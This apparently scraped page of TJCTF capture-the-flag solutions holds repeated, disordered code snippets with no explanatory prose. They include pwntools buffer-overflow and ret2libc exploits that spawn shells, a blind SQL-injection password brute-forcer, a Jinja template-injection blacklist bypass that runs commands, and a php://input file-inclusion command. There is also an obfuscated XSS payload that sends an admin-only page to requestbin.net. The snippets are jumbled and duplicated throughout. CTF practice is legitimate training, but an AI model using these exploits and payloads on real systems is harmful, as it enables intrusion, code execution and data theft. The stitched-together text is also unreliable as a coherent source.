Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
start = 1
import os
def unzip(filename):
os.system(f"unzip {filename}")
def untar(filename):
os.system(f"tar -zvjf {filename}")
def gunzip(filename):
os.system(f"tar -zvxf {filename}")
cur = start
while True:
files = os.listdir(str(cur))
file = next(filter(lambda x: '.txt' not in x, files)) # Ignore this monstrosity
file = os.path.join(str(cur),file)
if 'kz3' in file:
unzip(file)
elif 'bz2' in file:
untar(file)
else:
gunzip(file)
file = next(filter(lambda x: '.txt' in x, files)) # Again, ignore this monstrosity
os.system(f"cat {os.path.join(str(cur),file)} >> flags.txt") # Basically puts the text file into flags.txt
os.system(f"rm -rf {cur}") # Remove at your own risk, just cleans up and makes sure not to blow up your VM
cur += 1hlp = open("help.csv","r").read().split("\n")
hlp = [[int(y) for y in x.split(",")] for x in hlp]
flg = open("flag.csv","r").read().split("\n")
flg = [[int(y) for y in x.split(",")] for x in flg]
from numpy import exp, array, random, dot, set_printoptions, inf
set_printoptions(threshold=inf)
class NeuralNetwork():
def __init__(self):
self.synaptic_weights = 2 * random.random((10, 1)) - 1
def __sigmoid(self, x):
return 1 / (1 + exp(-x))
def __sigmoid_derivative(self, x):
return x * (1 - x)
def train(self, training_set_inputs, training_set_outputs, number_of_training_iterations):
for iteration in range(number_of_training_iterations):
output = self.think(training_set_inputs)
error = training_set_outputs - output
adjustment = dot(training_set_inputs.T, error * self.__sigmoid_derivative(output))
self.synaptic_weights = self.synaptic_weights + adjustment # fukin numpy being shit kek
def think(self, inputs):
return self.__sigmoid(dot(inputs, self.synaptic_weights))
neural_network = NeuralNetwork()
print("Random starting synaptic weights: ")
print(neural_network.synaptic_weights)
training_set_inputs = [[y/100 for y in x[1:]] for x in hlp]
training_set_outputs = [x[0] for x in hlp]
print(training_set_inputs[0],training_set_outputs[0])
for i,j in enumerate(training_set_inputs):
neural_network.train(array([j]), array(training_set_outputs[i]).T, 10000) # gotta train individually or numpy gets triggered
print("New synaptic weights after training: ")
print(neural_network.synaptic_weights)
b = ""
for i,j in enumerate(flg):
print("Considering new situation :",j)
a = neural_network.think(array(flg[i]))[0]
b += str(int(a))
print(int(a))
print(b)python RsaCtfTool.py -n 126390312099294739294606157407778835887 -e 65537 --uncipher 13612260682947644362892911986815626931echo 'COOKIE' | sed 's/false/true/g' | base64 -w0cmp DWORD PTR [ebp-0xc], 0xc0d3d00d
jne <main+443>enter whatever you want into the first three inputs
enter 116 bytes + p32(0xc0d3d00d) on the fourth input
Script below, even though this doesnt really need a script(a dynamic one, I mean)from pwn import *
NUM_TO_VAR = 116
padding = b'A' * NUM_TO_VAR
p = remote('p1.ljctf.org',8002)
[p.sendline('t') for _ in range(3)] # If you send nothing it'll rage
payload = padding + p32(0xc0d3d00d)
p.sendline(payload)
p.interactive()from pwn import *
import re
NUM_TO_ESP = 32
p = remote('p1.tjctf.org', 8011)
p.recvline()
output = p.recvline().decode()
bufaddr = int(re.findall("hint: (,*)", output)[0],16)
shellcode = asm(f"mov ebx,{hex(bufaddr + 4)} ; mov ecx,0 ; mov edx,0 ; mov eax,0xb ; int 0x80")
start = flat(bufaddr + 36, b"/bin/sh\x00")
espval = bufaddr + 4
payload = start
payload += b'A' * (NUM_TO_ESP - len(payload))
payload += p32(espval)
payload += shellcode
p.sendline(payload)
p.interactive()1. use ret2plt to leak a libc address via the PLT and GOT
2. do poprdi + /bin/sh + pop rdx ; pop rsi + 0 + 0 + system in order to pop a shellfrom pwn import *
NUM_TO_RET = 0xa + 8
padding = b'A' * NUM_TO_RET
payload = flat(padding,0x4006e3, word_size=64)
p = remote('p1.tjctf.org',8009)
p.recvlines(2)
pause()
p.sendline(payload)
p.interactive()> python -c 'import pty; pty.spawn("/bin/bash")' >&0$ sudo -l
(root) /usr/bin/chguser$ sudo /usr/bin/chguser other-user
Password: 1234qwer$ ls -alR
./flag:
flag.txt$ cat flag/flag.txtdef getindex(a):
out = []
for i in a:
if "{" in i:
out.append(0)
if "3" in i:
out.append(1)
if "4" in i:
out.append(2)
if "2" in i:
out.append(3)
if "}" in i:
out.append(4)
return out
with open("out","r") as f:
out = f.read()
f.close()
out = out.split("\n")[:-2]
out = [[x[i:i+5] for i in range(0, len(x), 5)] for x in out ]
stats = ""
for j in range(5):
for i in out:
a = getindex(i)
print(a)
stats += str((a.index(j)-j)%5)
print(stats) # 4 is common
counter = [0,0,0,0,0]
for i in stats:
counter[int(i)] += 1
print(counter)
for k in range(5):
for j in range(5):
alpha = out[0][getindex(out[0]).index(k)]
alpha2 = {}
for i in alpha:
alpha2[i] = 0
for i in out:
thing = i[getindex(i).index(k)]
thing = thing[-1]+thing[:-1] # revshift by 4
alpha2[thing[j]] += 1
for i in alpha:
print(i,alpha2[i],end=" ")
print()> python -c 'import pty; pty.spawn("/bin/bash")' >&0$ sudo -l
(root) /usr/bin/chguser$ sudo /usr/bin/chguser other-user
Password: 1234qwer$ ls -alR
./flag:
flag.txt$ cat flag/flag.txtfrom pwn import *
r = remote("p1.tjctf.org", 8003)
out = (r.recvline())
print(out)
out = eval(out.split('is ')[2][:-2])
r.sendline(str(out))
print(r.recvline())
print(r.recvline())
This works and I don't know why
tjctf{TH3_1llum1n4ti_I5_R3aL}import requests
url = 'https://weak_password.tjctf.org/login'
alphabet = 'abcdefghijklmnopqrstuvwxyz'
print('Bruteforcing password: ', end='', flush=True)
for i in range(100):
for char in alphabet:
r = requests.post(url, data = {'username': 'test', 'password': f"a' OR EXISTS(SELECT * FROM `userandpassword` WHERE username='admin' AND password LIKE '{'_'*i}{char}%') AND ''='"})
if 'Wrong' not in r.text:
print(char, end='', flush=True)
break
else:
print('\nPassword found')from pwn import *
NUM_TO_RET = 0xa + 8
padding = b'A' * NUM_TO_RET
payload = flat(padding,0x4006e3, word_size=64)
p = remote('p1.tjctf.org',8009)
p.recvlines(2)
pause()
p.sendline(payload)
p.interactive()echo 'COOKIE' | sed 's/false/true/g' | base64 -w0"SELECT username, password FROM `userandpassword` WHERE username='admin/*' AND password='<md5 HASH object @ 0x00000151246A95F8>'"
/* is a comment so everything after that is ignored.<img src="0" onerror="eval(String.fromCharCode(118,97,114,32,120,104,116,116,112,61,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,40,41,59,120,104,116,116,112,46,111,110,114,101,97,100,121,115,116,97,116,101,99,104,97,110,103,101,61,102,117,110,99,116,105,111,110,40,41,123,118,97,114,32,120,104,116,116,112,50,61,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,40,41,59,105,102,40,116,104,105,115,46,115,116,97,116,117,115,61,61,50,48,48,41,123,120,104,116,116,112,50,46,111,112,101,110,40,39,71,69,84,39,44,39,104,116,116,112,58,47,47,114,101,113,117,101,115,116,98,105,110,46,110,101,116,47,114,47,49,103,50,117,104,110,55,49,63,111,117,116,61,39,43,101,110,99,111,100,101,85,82,73,40,98,116,111,97,40,116,104,105,115,46,114,101,115,112,111,110,115,101,84,101,120,116,41,41,44,116,114,117,101,41,125,101,108,115,101,123,120,104,116,116,112,50,46,111,112,101,110,40,39,71,69,84,39,44,39,104,116,116,112,58,47,47,114,101,113,117,101,115,116,98,105,110,46,110,101,116,47,114,47,49,103,50,117,104,110,55,49,63,111,117,116,61,39,43,116,104,105,115,46,115,116,97,116,117,115,44,116,114,117,101,41,125,120,104,116,116,112,50,46,115,101,110,100,40,41,125,59,120,104,116,116,112,46,111,112,101,110,40,39,71,69,84,39,44,39,47,97,100,109,105,110,95,102,108,97,103,39,44,116,114,117,101,41,59,120,104,116,116,112,46,115,101,110,100,40,41,59))">-r--r--r-- 1 root root 44 May 18 15:32 apple.txt
-r--r--r-- 1 root root 74 May 24 15:12 grape.txt
dr-xr-xr-x 1 root root 4096 May 24 15:12 i_wonder_whats_in_here
-r--r--r-- 1 root root 3012 May 18 15:32 index.html
-r--r--r-- 1 root root 27 May 18 15:32 orange.txt
-r--r--r-- 1 root root 49 May 18 15:32 pear.txt
-r--r--r-- 1 root root 27 May 18 15:32 pinneaple.txt
-r--r--r-- 1 root root 2532 May 18 15:32 reader.php
-r--r--r-- 1 root root 22 May 18 15:32 watermelon.txtcurl -XPOST 'https://file_viewer.tjctf.org/reader.php?file=php://input' -d '<?php system("cat i_wonder_whats_in_here/* "); ?>'def main():
from PIL import Image, ImageFilter
def openshit(filename):
# Open image file
im = Image.open(filename)
print("\n** Analysing image **\n")
# Display image format, size, colour mode
print("Format:", im.format, "\nWidth:", im.width, "\nHeight:", im.height, "\nMode:", im.mode)
# Check if GIF is animated
frames = im.n_frames
print("Number of frames: " + str(frames))
print("\n** Converting image **\n")
alls = []
# Iterate through frames and pixels, top row first
for z in range(frames):
# Go to frame
im.seek(z)
rgb_im = im.convert('RGB')
# print("Frame: ", im.tell())
pixels = list(rgb_im.getdata())
a = int("".join([str(r[0]%2) for r in pixels]),2)
# print("--------------------------------------")
# print(a)
# print("--------------------------------------")
alls.append(a)
return alls
alln = openshit("n.gif")
alle = openshit("e.gif")
allc = openshit("new_c.gif")<img src="0" onerror="eval(String.fromCharCode(118,97,114,32,120,104,116,116,112,61,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,40,41,59,120,104,116,116,112,46,111,110,114,101,97,100,121,115,116,97,116,101,99,104,97,110,103,101,61,102,117,110,99,116,105,111,110,40,41,123,118,97,114,32,120,104,116,116,112,50,61,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,40,41,59,105,102,40,116,104,105,115,46,115,116,97,116,117,115,61,61,50,48,48,41,123,120,104,116,116,112,50,46,111,112,101,110,40,39,71,69,84,39,44,39,104,116,116,112,58,47,47,114,101,113,117,101,115,116,98,105,110,46,110,101,116,47,114,47,49,103,50,117,104,110,55,49,63,111,117,116,61,39,43,101,110,99,111,100,101,85,82,73,40,98,116,111,97,40,116,104,105,115,46,114,101,115,112,111,110,115,101,84,101,120,116,41,41,44,116,114,117,101,41,125,101,108,115,101,123,120,104,116,116,112,50,46,111,112,101,110,40,39,71,69,84,39,44,39,104,116,116,112,58,47,47,114,101,113,117,101,115,116,98,105,110,46,110,101,116,47,114,47,49,103,50,117,104,110,55,49,63,111,117,116,61,39,43,116,104,105,115,46,115,116,97,116,117,115,44,116,114,117,101,41,125,120,104,116,116,112,50,46,115,101,110,100,40,41,125,59,120,104,116,116,112,46,111,112,101,110,40,39,71,69,84,39,44,39,47,97,100,109,105,110,95,102,108,97,103,39,44,116,114,117,101,41,59,120,104,116,116,112,46,115,101,110,100,40,41,59))">from pwn import *
import re
NUM_TO_ESP = 32
p = remote('p1.tjctf.org', 8011)
p.recvline()
output = p.recvline().decode()
bufaddr = int(re.findall("hint: (,*)", output)[0],16)
shellcode = asm(f"mov ebx,{hex(bufaddr + 4)} ; mov ecx,0 ; mov edx,0 ; mov eax,0xb ; int 0x80")
start = flat(bufaddr + 36, b"/bin/sh\x00")
espval = bufaddr + 4
payload = start
payload += b'A' * (NUM_TO_ESP - len(payload))
payload += p32(espval)
payload += shellcode
p.sendline(payload)
p.interactive()1. compute prime factors of totient p in form p^k
2. find x modulo p^k (ill show later)
3. chinese remainder thereom!!!!!
4. compute shared key (other ** step3 % modulus)
5. xor and convert to hex then text!!!
tjctf{Ali3ns_1iv3_am0ng_us!}a = 491988559103692092263984889813697016406
msg = 12259991521844666821961395299843462461536060465691388049371797540470
c = [232042342203461569340683568996607232345,76405255723702450233149901853450417505]
at = 1
for i in a0:
at *= phi(i)
print(at)
at0 = [[2**32],[3**15],[5**4],[7**3],[11],[13**2],[17],[19],[23],[29],[37],[53],[79],[109]]
for i in at0:
temp = pow(c[0],at//i[0],a)
for j in range(1,10000):
if pow(pow(5,at//i[0],a),j,a) == temp:
print(j,",",i[0],end = "),(")
break
else:
print(j,"??")def getindex(a):
out = []
for i in a:
if "{" in i:
out.append(0)
if "3" in i:
out.append(1)
if "4" in i:
out.append(2)
if "2" in i:
out.append(3)
if "}" in i:
out.append(4)
return out
with open("out","r") as f:
out = f.read()
f.close()
out = out.split("\n")[:-2]
out = [[x[i:i+5] for i in range(0, len(x), 5)] for x in out ]
stats = ""
for j in range(5):
for i in out:
a = getindex(i)
print(a)
stats += str((a.index(j)-j)%5)
print(stats) # 4 is common
counter = [0,0,0,0,0]
for i in stats:
counter[int(i)] += 1
print(counter)
for k in range(5):
for j in range(5):
alpha = out[0][getindex(out[0]).index(k)]
alpha2 = {}
for i in alpha:
alpha2[i] = 0
for i in out:
thing = i[getindex(i).index(k)]
thing = thing[-1]+thing[:-1] # revshift by 4
alpha2[thing[j]] += 1
for i in alpha:
print(i,alpha2[i],end=" ")
print()from pwn import *
NUM_TO_RET = 0x10c + 4
padding = b'A' * NUM_TO_RET
e = ELF("./osrs")
leak = flat(padding, e.plt['puts'], e.symbols['main'], e.got['puts'])
libc = ELF("/home/kali/Tools/libc-database/libs/libc6-i386_2.27-3ubuntu1_amd64")
p = remote("p1.tjctf.org", 8006)
p.recvuntil(": ")
p.sendline(leak)
P.recvlines(2)
output = p.recvline() # Our leak of the puts address
puts = u32(output[:4])
log.info(f"Puts address: {hex(puts)}")
libcbase = puts - libc.symbols['puts']
libc.address = libcbase
log.info(f"Libc base: {hex(libcbase)}")
final = flat(padding, libc.symbols['system'], libc.symbols['exit'], next(libc.search(b"/bin/sh\x00")))
p.sendline(final)
p.interactive()from pwn import *
NUM_TO_RET = 282
padding = b'A' * NUM_TO_RET
e = ELF("./stop")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("/home/kali/Tools/libc-database/libs/libc6_2.27-3ubuntu1_amd64/libc.so.6")
poprdi = 0x0000000000400953 # pop rdi ; ret
poprsi = 0x0000000000400951
#p = e.process()
p = remote('p1.tjctf.org', 8001)
leak = flat(poprdi, e.got['printf'],poprsi, 0, 0, e.plt['printf'], 0x0000000000400747, word_size=64)
payload = padding[:-8] + p64(0x000000000602000 + 0x1000 - (0x20 + 0x8 * 10)) + leak
p.sendline(payload)
p.recvlines(9)
output = p.recvuntil("Which")[:-5]
output += b'\x00\x00'
printf = u64(output)
log.info(f"Printf: {hex(printf)}")
libcbase = printf - libc.symbols['printf']
libc.address = libcbase
log.info(f"Libc base: {hex(libcbase)}")
chain = flat(poprdi, next(libc.search(b"/bin/sh\x00")), poprsi, 0, 0, libc.symbols['system'], word_size=64)
payload = padding + chain
pause()
p.sendline(payload)
p.interactive()start = 1
import os
def unzip(filename):
os.system(f"unzip {filename}")
def untar(filename):
os.system(f"tar -zvjf {filename}")
def gunzip(filename):
os.system(f"tar -zvxf {filename}")
cur = start
while True:
files = os.listdir(str(cur))
file = next(filter(lambda x: '.txt' not in x, files)) # Ignore this monstrosity
file = os.path.join(str(cur),file)
if 'kz3' in file:
unzip(file)
elif 'bz2' in file:
untar(file)
else:
gunzip(file)
file = next(filter(lambda x: '.txt' in x, files)) # Again, ignore this monstrosity
os.system(f"cat {os.path.join(str(cur),file)} >> flags.txt") # Basically puts the text file into flags.txt
os.system(f"rm -rf {cur}") # Remove at your own risk, just cleans up and makes sure not to blow up your VM
cur += 1speed = int(hashlib.md5(("Horse_" + horse).encode()).hexdigest(), 16)from pwn import *
import hashlib
from pwnlib.util.iters import mbruteforce
import string
BOSS_HORSE = "MechaOmkar-YG6BPRJM"
goal = int(hashlib.md5(("Horse_" + BOSS_HORSE).encode()).hexdigest(), 16)
def attempt(horse):
speed = int(hashlib.md5(("Horse_" + horse).encode()).hexdigest(), 16)
if speed > goal:
return True
else:
return False
myhorse = mbruteforce(attempt, string.ascii_lowercase, length=10)
print(myhorse)DDDDD DLLLD DLHLD DLLLD DDDDD Key: D=Drone L=Landscaper H=HQ Beginning of game strategy:SERVER_FILEPATH': '/secretserverfile.py'}>.if '{' in text or '}' in text:
text2=re.sub(r'\s','',text).lower()
illegal = ['"', 'class', '[', ']', 'dict', 'sys', 'os', 'eval', 'exec', 'config.']request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__'){{request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('subprocess')|attr('getoutput')('cat strategyguide.txt')}}from pwn import *
NUM_TO_RET = 0x10c + 4
padding = b'A' * NUM_TO_RET
e = ELF("./osrs")
leak = flat(padding, e.plt['puts'], e.symbols['main'], e.got['puts'])
libc = ELF("/home/kali/Tools/libc-database/libs/libc6-i386_2.27-3ubuntu1_amd64")
p = remote("p1.tjctf.org", 8006)
p.recvuntil(": ")
p.sendline(leak)
P.recvlines(2)
output = p.recvline() # Our leak of the puts address
puts = u32(output[:4])
log.info(f"Puts address: {hex(puts)}")
libcbase = puts - libc.symbols['puts']
libc.address = libcbase
log.info(f"Libc base: {hex(libcbase)}")
final = flat(padding, libc.symbols['system'], libc.symbols['exit'], next(libc.search(b"/bin/sh\x00")))
p.sendline(final)
p.interactive()speed = int(hashlib.md5(("Horse_" + horse).encode()).hexdigest(), 16)from pwn import *
import hashlib
from pwnlib.util.iters import mbruteforce
import string
BOSS_HORSE = "MechaOmkar-YG6BPRJM"
goal = int(hashlib.md5(("Horse_" + BOSS_HORSE).encode()).hexdigest(), 16)
def attempt(horse):
speed = int(hashlib.md5(("Horse_" + horse).encode()).hexdigest(), 16)
if speed > goal:
return True
else:
return False
myhorse = mbruteforce(attempt, string.ascii_lowercase, length=10)
print(myhorse)from pwn import *
NUM_TO_RET = 282
padding = b'A' * NUM_TO_RET
e = ELF("./stop")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("/home/kali/Tools/libc-database/libs/libc6_2.27-3ubuntu1_amd64/libc.so.6")
poprdi = 0x0000000000400953 # pop rdi ; ret
poprsi = 0x0000000000400951
#p = e.process()
p = remote('p1.tjctf.org', 8001)
leak = flat(poprdi, e.got['printf'],poprsi, 0, 0, e.plt['printf'], 0x0000000000400747, word_size=64)
payload = padding[:-8] + p64(0x000000000602000 + 0x1000 - (0x20 + 0x8 * 10)) + leak
p.sendline(payload)
p.recvlines(9)
output = p.recvuntil("Which")[:-5]
output += b'\x00\x00'
printf = u64(output)
log.info(f"Printf: {hex(printf)}")
libcbase = printf - libc.symbols['printf']
libc.address = libcbase
log.info(f"Libc base: {hex(libcbase)}")
chain = flat(poprdi, next(libc.search(b"/bin/sh\x00")), poprsi, 0, 0, libc.symbols['system'], word_size=64)
payload = padding + chain
pause()
p.sendline(payload)
p.interactive()import requests
url = 'https://weak_password.tjctf.org/login'
alphabet = 'abcdefghijklmnopqrstuvwxyz'
print('Bruteforcing password: ', end='', flush=True)
for i in range(100):
for char in alphabet:
r = requests.post(url, data = {'username': 'test', 'password': f"a' OR EXISTS(SELECT * FROM `userandpassword` WHERE username='admin' AND password LIKE '{'_'*i}{char}%') AND ''='"})
if 'Wrong' not in r.text:
print(char, end='', flush=True)
break
else:
print('\nPassword found')from pwn import *
r = remote("p1.tjctf.org", 8003)
out = (r.recvline())
print(out)
out = eval(out.split('is ')[2][:-2])
r.sendline(str(out))
print(r.recvline())
print(r.recvline())
This works and I don't know why
tjctf{TH3_1llum1n4ti_I5_R3aL}F116
F106
F99
F116
F102
F123
F109
F52
F110
F121
F95
F108
F52
F121
F51
F114
F115
F1251. use ret2plt to leak a libc address via the PLT and GOT
2. do poprdi + /bin/sh + pop rdx ; pop rsi + 0 + 0 + system in order to pop a shella = [1, 18, 21, 18, 73, 20, 65, 8, 8, 4, 24, 24, 9, 18, 29, 21, 3, 21, 14, 6, 18, 83, 2, 26, 86, 83, 5, 20, 27, 28, 85, 67, 5, 17, 2, 7, 12, 11, 17, 0, 2, 20, 12, 26, 26, 30, 15, 44, 15, 31, 0, 12, 46, 8, 28, 23, 0, 11, 3, 25, 14, 0, 65]
print(str([x for z in [[[ord(m[i]) ^ ord(n[j // 3]) ^ ord(n[i - j - k]) ^ ord(n[k // 21]) for i in range(j + k, j + k + 3)] for j in range (0, 21, 3)] for k in range(0, len(m), 21)] for y in z for x in y])[1:-1])
#i deobfuscated first to get
for k in range(0, 63, 21):
for j in range (0, 21, 3):
for i in range(j + k, j + k + 3): # every 3 char chunks
shat = ord(m[i])
#shat = a[i] i will use this later to solve
shat ^= ord(n[j // 3]) #[0,1... 6]
shat ^= ord(n[i - j - k]) #[0,1,2]
shat ^= ord(n[k // 21]) #[0,1,2]
go += chr(shat)
print(go)
#then i made this script to find where the flag could be
for i in range(0,60,3):
crib = " tjctf{"
for j in range(2):
for k in range(3):
pp = a[i:i+6]
x = pp[0+j] ^ pp[1+j] ^ pp[3+j] ^ pp[4+j]
x^= ord(crib[0+k]) ^ ord(crib[1+k]) ^ ord(crib[3+k]) ^ ord(crib[4+k])
if x == 0:
print(i+j,crib[k:])1. compute prime factors of totient p in form p^k
2. find x modulo p^k (ill show later)
3. chinese remainder thereom!!!!!
4. compute shared key (other ** step3 % modulus)
5. xor and convert to hex then text!!!
tjctf{Ali3ns_1iv3_am0ng_us!}a = 491988559103692092263984889813697016406
msg = 12259991521844666821961395299843462461536060465691388049371797540470
c = [232042342203461569340683568996607232345,76405255723702450233149901853450417505]
at = 1
for i in a0:
at *= phi(i)
print(at)
at0 = [[2**32],[3**15],[5**4],[7**3],[11],[13**2],[17],[19],[23],[29],[37],[53],[79],[109]]
for i in at0:
temp = pow(c[0],at//i[0],a)
for j in range(1,10000):
if pow(pow(5,at//i[0],a),j,a) == temp:
print(j,",",i[0],end = "),(")
break
else:
print(j,"??")a = [1, 18, 21, 18, 73, 20, 65, 8, 8, 4, 24, 24, 9, 18, 29, 21, 3, 21, 14, 6, 18, 83, 2, 26, 86, 83, 5, 20, 27, 28, 85, 67, 5, 17, 2, 7, 12, 11, 17, 0, 2, 20, 12, 26, 26, 30, 15, 44, 15, 31, 0, 12, 46, 8, 28, 23, 0, 11, 3, 25, 14, 0, 65]
print(str([x for z in [[[ord(m[i]) ^ ord(n[j // 3]) ^ ord(n[i - j - k]) ^ ord(n[k // 21]) for i in range(j + k, j + k + 3)] for j in range (0, 21, 3)] for k in range(0, len(m), 21)] for y in z for x in y])[1:-1])
#i deobfuscated first to get
for k in range(0, 63, 21):
for j in range (0, 21, 3):
for i in range(j + k, j + k + 3): # every 3 char chunks
shat = ord(m[i])
#shat = a[i] i will use this later to solve
shat ^= ord(n[j // 3]) #[0,1... 6]
shat ^= ord(n[i - j - k]) #[0,1,2]
shat ^= ord(n[k // 21]) #[0,1,2]
go += chr(shat)
print(go)
#then i made this script to find where the flag could be
for i in range(0,60,3):
crib = " tjctf{"
for j in range(2):
for k in range(3):
pp = a[i:i+6]
x = pp[0+j] ^ pp[1+j] ^ pp[3+j] ^ pp[4+j]
x^= ord(crib[0+k]) ^ ord(crib[1+k]) ^ ord(crib[3+k]) ^ ord(crib[4+k])
if x == 0:
print(i+j,crib[k:])0xc0d3d00debp-0xccmp DWORD PTR [ebp-0xc], 0xc0d3d00d
jne <main+443>enter whatever you want into the first three inputs
enter 116 bytes + p32(0xc0d3d00d) on the fourth input
Script below, even though this doesnt really need a script(a dynamic one, I mean)from pwn import *
NUM_TO_VAR = 116
padding = b'A' * NUM_TO_VAR
p = remote('p1.ljctf.org',8002)
[p.sendline('t') for _ in range(3)] # If you send nothing it'll rage
payload = padding + p32(0xc0d3d00d)
p.sendline(payload)
p.interactive()hlp = open("help.csv","r").read().split("\n")
hlp = [[int(y) for y in x.split(",")] for x in hlp]
flg = open("flag.csv","r").read().split("\n")
flg = [[int(y) for y in x.split(",")] for x in flg]
from numpy import exp, array, random, dot, set_printoptions, inf
set_printoptions(threshold=inf)
class NeuralNetwork():
def __init__(self):
self.synaptic_weights = 2 * random.random((10, 1)) - 1
def __sigmoid(self, x):
return 1 / (1 + exp(-x))
def __sigmoid_derivative(self, x):
return x * (1 - x)
def train(self, training_set_inputs, training_set_outputs, number_of_training_iterations):
for iteration in range(number_of_training_iterations):
output = self.think(training_set_inputs)
error = training_set_outputs - output
adjustment = dot(training_set_inputs.T, error * self.__sigmoid_derivative(output))
self.synaptic_weights = self.synaptic_weights + adjustment # fukin numpy being shit kek
def think(self, inputs):
return self.__sigmoid(dot(inputs, self.synaptic_weights))
neural_network = NeuralNetwork()
print("Random starting synaptic weights: ")
print(neural_network.synaptic_weights)
training_set_inputs = [[y/100 for y in x[1:]] for x in hlp]
training_set_outputs = [x[0] for x in hlp]
print(training_set_inputs[0],training_set_outputs[0])
for i,j in enumerate(training_set_inputs):
neural_network.train(array([j]), array(training_set_outputs[i]).T, 10000) # gotta train individually or numpy gets triggered
print("New synaptic weights after training: ")
print(neural_network.synaptic_weights)
b = ""
for i,j in enumerate(flg):
print("Considering new situation :",j)
a = neural_network.think(array(flg[i]))[0]
b += str(int(a))
print(int(a))
print(b)-r--r--r-- 1 root root 44 May 18 15:32 apple.txt
-r--r--r-- 1 root root 74 May 24 15:12 grape.txt
dr-xr-xr-x 1 root root 4096 May 24 15:12 i_wonder_whats_in_here
-r--r--r-- 1 root root 3012 May 18 15:32 index.html
-r--r--r-- 1 root root 27 May 18 15:32 orange.txt
-r--r--r-- 1 root root 49 May 18 15:32 pear.txt
-r--r--r-- 1 root root 27 May 18 15:32 pinneaple.txt
-r--r--r-- 1 root root 2532 May 18 15:32 reader.php
-r--r--r-- 1 root root 22 May 18 15:32 watermelon.txtcurl -XPOST 'https://file_viewer.tjctf.org/reader.php?file=php://input' -d '<?php system("cat i_wonder_whats_in_here/* "); ?>'def main():
from PIL import Image, ImageFilter
def openshit(filename):
# Open image file
im = Image.open(filename)
print("\n** Analysing image **\n")
# Display image format, size, colour mode
print("Format:", im.format, "\nWidth:", im.width, "\nHeight:", im.height, "\nMode:", im.mode)
# Check if GIF is animated
frames = im.n_frames
print("Number of frames: " + str(frames))
print("\n** Converting image **\n")
alls = []
# Iterate through frames and pixels, top row first
for z in range(frames):
# Go to frame
im.seek(z)
rgb_im = im.convert('RGB')
# print("Frame: ", im.tell())
pixels = list(rgb_im.getdata())
a = int("".join([str(r[0]%2) for r in pixels]),2)
# print("--------------------------------------")
# print(a)
# print("--------------------------------------")
alls.append(a)
return alls
alln = openshit("n.gif")
alle = openshit("e.gif")
allc = openshit("new_c.gif")